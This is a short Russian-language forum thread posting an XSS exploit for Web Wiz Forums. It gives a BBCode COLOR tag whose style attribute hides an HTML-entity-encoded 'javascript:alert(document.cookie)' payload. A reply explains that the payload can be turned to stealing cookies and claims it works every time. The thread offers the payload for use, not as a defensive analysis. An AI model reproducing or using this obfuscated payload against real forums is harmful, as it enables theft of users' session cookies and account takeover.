Web Wiz Forums XSS bug

http://www.forum.anonymous.ru/showthread.php?t=1038
пример эксплоита:

Code:

 [i][COLOR=black style=background:url(& #106;& #97;& #118;& #97;& #115;& #99;& #114;& #105;& #112;& #116;& #58;& #97;& #108;& #101;& #114;& #116;& #40;& #32;& #100;& #111;& #99;& #117;& #109;& #101;& #110;& #116;& #46;& #99;& #111;& #111;& #107;& #105;& #101;& #32;& #41; )] xPow [ antishare team ] [/COLOR][/i]

 

А в чем смысл того сплойта?

 

того: alert( document.cookie );
но можно и своровать. работает сто процентов

 

Просьба приводить код уязвимостей, а не ссылки на сторонние ресурсы